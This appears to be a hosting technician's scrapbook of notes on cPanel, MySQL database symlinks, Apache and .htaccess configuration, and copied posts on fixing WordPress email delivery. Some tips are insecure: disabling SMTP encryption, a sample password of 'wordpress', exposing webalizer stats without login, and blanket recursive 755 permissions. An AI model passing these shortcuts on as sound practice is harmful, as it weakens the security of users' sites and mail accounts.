http://tille.garrels.be/training/tldp/ch03s02.htmlhttp://oldfield.wattle.id.au/luv/boot.html
http://comptechdoc.org/os/linux/commands/linux_crcredits.html
http://tille.garrels.be/training/tldp/ch03s02.html/var/cpanel/userdata/usernamecreate a folder called mysql in home, move big dbs there and create symlinks in /var/lib/mysql for those dbs
[11:23:08 AM] vulgar: create a folder called mysql in home, move big dbs there and create symlinks in /var/lib/mysql for those dbs
[11:23:20 AM] APS-3: okay
[11:23:49 AM] vulgar: find /var/lib/mysql -name "*" -size +100000k
[11:23:54 AM] vulgar: you can find big dbs
[11:24:01 AM] vulgar: do nothing to ibdata1 file
How to create symlink >>
ln -s /home/mysql/database_name database_name
Ex.
ln -s /home/mysql/maxihebe_forum maxihebe_forum
Viewing webalizer stats without login to cPanel
cd /home/username/www
ln -s ../tmp/webalizer stats
chown username.username stats
cd ../tmp
chmod 755 ./
chmod 755 ./webalizer
This will allow http://domain.com/stats/ for viewing stats without logging in to cpanel<VirtualHost 66.7.221.11:80>
<IfModule concurrent_php.c>
php4_admin_value open_basedir "/home/greenorc/:/usr/lib/php:/usr/php4/lib/php:/usr/local/lib/php:/usr/local/php4/lib/php:/tmp"
php5_admin_value open_basedir "/home/greenorc/:/usr/lib/php:/usr/local/lib/php:/tmp"
</IfModule>
<IfModule !concurrent_php.c>
<IfModule mod_php4.c>
php_admin_value open_basedir "/home/greenorc/:/usr/lib/php:/usr/php4/lib/php:/usr/local/lib/php:/usr/local/php4/lib/php:/tmp"
</IfModule>
<IfModule mod_php5.c>
php_admin_value open_basedir "/home/greenorc/:/usr/lib/php:/usr/local/lib/php:/tmp"
</IfModule>
<IfModule sapi_apache2.c>
php_admin_value open_basedir "/home/greenorc/:/usr/lib/php:/usr/php4/lib/php:/usr/local/lib/php:/usr/local/php4/lib/php:/tmp"
</IfModule>
</IfModule>
<IfModule mod_userdir.c>
UserDir disabled
UserDir enabled greenorc
</IfModule>
ServerName greenorclean.com
ServerAlias greenorclean.com www.greenorclean.com
ServerAdmin webmaster@greenorclean.com
DocumentRoot /home/greenorc/public_html/
UseCanonicalName off
<IfModule mod_suphp.c>
suPHP_UserGroup greenorc greenorc
</IfModule>
<IfModule !mod_disable_suexec.c>
User greenorc
Group greenorc
</IfModule>
BytesLog /usr/local/apache/domlogs/greenorclean.com-bytes_log
CustomLog /usr/local/apache/domlogs/greenorclean.com combined
ScriptAlias /cgi-bin/ /home/greenorc/public_html/cgi-bin/
# To customize this VirtualHost use an include file at the following location
# Include "/usr/local/apache/conf/userdata/greenorc/greenorclean.com/*.conf"
</VirtualHost>
http://www.webhostingtalk.com/showthread.php?t=397457
/scripts/whoowns almco.biz
cd ~almcobiz/public_html
pico .htacess
write the below lne :
Options +FollowSymLinks
and save the file.
ln -s ~almcobiz/tmp/webalizer stats >>>> this will create stats file
cd ..
chmod 755 tmp/
chmod 755 tmp/webalizer
EX.
root@vip [/home/almcobiz]# chmod 755 tmp/
root@vip [/home/almcobiz]# chmod 755 tmp/webalizer
# BEGIN WordPress
<IfModule mod_rewrite.c>
RewriteEngine On
RewriteBase /
RewriteCond %{REQUEST_FILENAME} !-f
RewriteCond %{REQUEST_FILENAME} !-d
RewriteRule . /index.php [L]
</IfModule>
# END WordPress# -FrontPage-
IndexIgnore .htaccess */.??* *~ *# */HEADER* */README* */_vti*
<Limit GET POST>
order deny,allow
deny from all
allow from all
</Limit>
<Limit PUT DELETE>
order deny,allow
deny from all
</Limit>
AuthName thegamedruid.com
AuthUserFile /home/thegamed/public_html/_vti_pvt/service.pwd
AuthGroupFile /home/thegamed/public_html/_vti_pvt/service.grp
# BEGIN WordPress
<IfModule mod_rewrite.c>
RewriteEngine On
RewriteBase /
RewriteCond %{REQUEST_FILENAME} !-f
RewriteCond %{REQUEST_FILENAME} !-d
RewriteRule . /index.php [L]
</IfModule>
# END WordPress
http://codex.wordpress.org/Changing_File_Permissionswordpress mu
http://codex.wordpress.org/Create_A_NetworkWordpress site getting redirected :
How to remove the redirection ?
Edit wp-config.php
It should be possible to fix the site URL using a new feature -
Add these two lines to your wp-config.php, where "example.com" is the NEW location of your site.
Add these two lines to the file, immediately after the initial "<?php" line.
define('WP_HOME','http://example.com');
define('WP_SITEURL','http://example.com');
Use your own URL instead of example.com, obviously.
************************************************************************
http://codex.wordpress.org/Changing_The_Site_URL
http://wordpress.org/support/WP Mail SMTP
Installing plugins and setting up mails
This plugin reconfigures the wp_mail() function to use SMTP instead of mail() and creates an options page that allows you to specify various options.
You can set the following options:
* Specify the from name and email address for outgoing email.
* Choose to send mail by SMTP or PHP's mail() function.
* Specify an SMTP host (defaults to localhost).
* Specify an SMTP port (defaults to 25). * Choose SSL / TLS encryption (not the same as STARTTLS).
* Choose to use SMTP authentication or not (defaults to not).
* Specify an SMTP username and password.
*******************************************************************************************************************
Solution no 2 :
Wordpress not Sending Email Try This Fix
http://annanta.com/archive/wordpress-not-sending-email-try-this-fix/
If you are not receiving any notification adn e-mail from your WordPress blog, or the PHP mail() function isn’t working, or SMTP isn’t working, here is your solution. Yes, this is guaranteed to work, even if you’re using Google mail application.
Method 1 :
If you are using c-panel and if you have signed up with google mail application then login to your C-panel and find the option MX Entry.
Make sure that your setting is same as shown in image below
Method 2 :
Go to your hosting cpanel and create this emailaccount: wordpress@yourdomain.com. Replace “yourdomain.com” with whatever your domain name is. Make sure that if you have a .net, that you use .net instead of .com in that email. Set up your username and password and remember it.
Download WP-Mail-SMTP or Cimy Swift SMTP. Just pick one of these and install and activate the plugin.
Configure your SMTP plugin under Settings or Tools in your sidebar. This is the most important step! Do not fill in this info with what Gmail tells you to put in. Do the following instead:
Sender e-mail must be: the new email account you created in your hosting cpanel. Put in the full wordpress@yourdomain.com in there.
If there is a checkbox to use SMTP, check it.
SMTP server address will be: mail.yourdomain.com. Replace “yourdomain.com” with your domain name again.
Port will be 25 or 26. Try those before trying 456 for gmail. Contact your hosting provider if neither works. The chances of neither of these working are small.
Username would be: wordpress@yourdomain.com. Replace “yourdomain.com” with your domain name again.
Password is the password for that account.
Set SSL or TLS to no or no encryption. Try these before using TLS for gmail. Contact your hosting provider in case they require encryption, if this doesn’t work.
Wordpress@yourdomain.com will now send the email to your personal account. Make sure that the email on your profile is correct, whether it’s yahoo, hotmail, gmail or any other account. If you are using a contact form, make sure that the email is set to your personal account, as well. The emails should now go to your spam or inbox.
If it still doesn’t work, you can have your wordpress@yourdomain.com send the email to itself and have your personal account pop forward it. Read the following if you are still having problems. Gmail is used as an example because most people have problems getting it to agree with their wordpress/hosting.
Make sure that the email on your profile is changed to the wordpress@yourdomain.com email. If you are using a contact form, make sure that the emails are sent to the wordpress@yourdomain.com email. *This is important because wordpress and Gmail conflict and this is the only workaround I’ve come up with.
Now, wordpress is set up to use SMTP to send emails out with your wordpress@yourdomain.com email. Step 5a makes sure that all the emails are sent to that same account. So basically, wordpress@yourdomain.com will send emails to itself.
Now login to Gmail and go to Settings.
Under Settings, go to Accounts.
Under “Get mail from other accounts,” go to “Add a mail account you own”.
Username is wordpress@yourdomain.com. Replace “yourdomain.com” with your domain name.
Password is wordpress@yourdomain.com’s password.
POP Server should be mail.yourdomain.com. Replace “yourdomain.com” with your domain name.
Port should be 110.
Click Save Changes.
Now, WordPress will send the emails to the hosting server email account. And Gmail will fetch them. You could also create a Yahoo or Hotmail account and skip step 5 entirely, and then have Yahoo or Hotmail forward those emails to Gmail.
If you are still having problems, or need assistance, leave a comment or contact us by visiting Contact Us page.
When I register a new account for my wordpress blog, it does not sending verifcation email which contains password .
I checked the wordpress.org support forums and found that the issue may be with the provider. I used Fantastico to install WordPress. I have configured WP so that anyone can register. The problem is that when someone registers it sends them an email with their initial password. New users are not receiving this email.
Solution is :
just create the email id like
wordpress@myaddondomain.com
ex. wordpress@socialweird.com
*********************************************************************************************************************
http://www.roblayton.net/archive/wordpress-not-sending-emails-anymore-solved/
Okay, for anybody who just upgraded WordPress, only to realize you’re not getting notification emails anymore, or the PHP mail() function isn’t working, or SMTP isn’t working, here is your solution. Yes, this is guaranteed to work, even if you’re using Gmail.
1. Go to your hosting cpanel and create this email account: wordpress@yourdomain.com. Replace “yourdomain.com” with whatever your domain name is. Make sure that if you have a .net, that you use .net instead of .com in that email. Set up your username and password and remember it.
2. Download WP-Mail-SMTP or Cimy Swift SMTP. Just pick one of these and install and activate the plugin.
3a. Configure your SMTP plugin under Settings or Tools in your sidebar. This is the most important step! Do not fill in this info with what Gmail tells you to put in. Do the following instead:
3b. Sender e-mail must be: the new email account you created in your hosting cpanel. Put in the full wordpress@yourdomain.com in there.
3c. If there is a checkbox to use SMTP, check it.
3d. SMTP server address will be: mail.yourdomain.com. Replace “yourdomain.com” with your domain name again.
3e. Port will be 25 or 26. Try those before trying 456 for gmail. Contact your hosting provider if neither works. The chances of neither of these working are small.
3f. Username would be: wordpress@yourdomain.com. Replace “yourdomain.com” with your domain name again.
3g. Password is the password for that account.
3h. Set SSL or TLS to no or no encryption. Try these before using TLS for gmail. Contact your hosting provider in case they require encryption, if this doesn’t work.
4. WordPress@yourdomain.com will now send the email to your personal account. Make sure that the email on your profile is correct, whether it’s yahoo, hotmail, gmail or any other account. If you are using a contact form, make sure that the email is set to your personal account, as well. The emails should now go to your spam or inbox.
If it still doesn’t work, you can have your wordpress@yourdomain.com send the email to itself and have your personal account pop forward it. Read the following if you are still having problems. Gmail is used as an example because most people have problems getting it to agree with their wordpress/hosting.
5a. Make sure that the email on your profile is changed to the wordpress@yourdomain.com email. If you are using a contact form, make sure that the emails are sent to the wordpress@yourdomain.com email. *This is important because wordpress and Gmail conflict and this is the only workaround I’ve come up with.
5b. Now, wordpress is set up to use SMTP to send emails out with your wordpress@yourdomain.com email. Step 5a makes sure that all the emails are sent to that same account. So basically, wordpress@yourdomain.com will send emails to itself.
5c. Now login to Gmail and go to Settings.
5d. Under Settings, go to Accounts.
5e. Under “Get mail from other accounts,” go to “Add a mail account you own”.
5f. Username is wordpress@yourdomain.com. Replace “yourdomain.com” with your domain name.
5g. Password is wordpress@yourdomain.com’s password.
5h. POP Server should be mail.yourdomain.com. Replace “yourdomain.com” with your domain name.
5i. Port should be 110.
5j. Click Save Changes.
6. Now, WordPress will send the emails to the hosting server email account. And Gmail will fetch them. You could also create a Yahoo or Hotmail account and skip step 5 entirely, and then have Yahoo or Hotmail forward those emails to Gmail.
If you are still having problems, or need assistance, leave a comment. And good luck.
Read the comments below to see the additional strides taken by other members to get this working on different hosting providers. One noteworthy contribution comes from Mario J. Vargas. Read his article by clicking here.
Another one comes from Annanta: I am sure nothing will work until you fix it in your C-panel setting.Its not WordPress problem but its your domain localhost setting problem. Dont blame WordPress. Find [the] solution here: http://annanta.com/web-world/wordpress-not-sending-email-try-this-fix/
*********************************************************************************************************************
Once you install wp-smtp plugin
you have to set following values :
From
From Email:
wordpress@socialweird.com (ex.emaild id)
From Name:
SocialWeird
Mailer:
1. Send all WordPress emails via SMTP.
2. Use the PHP mail() function to send emails
select : Use the PHP mail() function to send emails
SMTP Options
These options only apply if you have chosen to send mail by SMTP above.
SMTP Host: localhost
SMTP Port: 25
Encryption:
Use TLS encryption. This is not the same as STARTTLS. For most servers SSL is the recommended option
Authentication: Yes: Use SMTP authentication.
Username: wordpress@socialweird.com
Password : wordpress
update options :
and try to send an test email.
it will work for you.
reset wordpress admin password
http://digwp.com/2009/10/five-ways-to-change-your-wordpress-password/http://gggeek.raprap.it/debugger/
XMLRPC /JSONRPC Debugger (based on the PHP-XMLRPC library)
yabb.pl issue can be resolved just by setting 755 permissions recursively.yahoo spam
You can create disposable addresses to use whenever you don't want to share your real Yahoo! Mail address. You will receive all messages sent to the disposable address - you can set up a filter in Filter Options if you want these messages delivered to a personal folder rather than your Inbox.
Your 'Control SpamGuard' setting in Spam Options controls whether or not any messages Yahoo! Mail thinks are spam are delivered to your Spam folder. This setting applies to your disposable addresses as well. However, if any one of your disposable addresses starts receiving spam, just delete that address.
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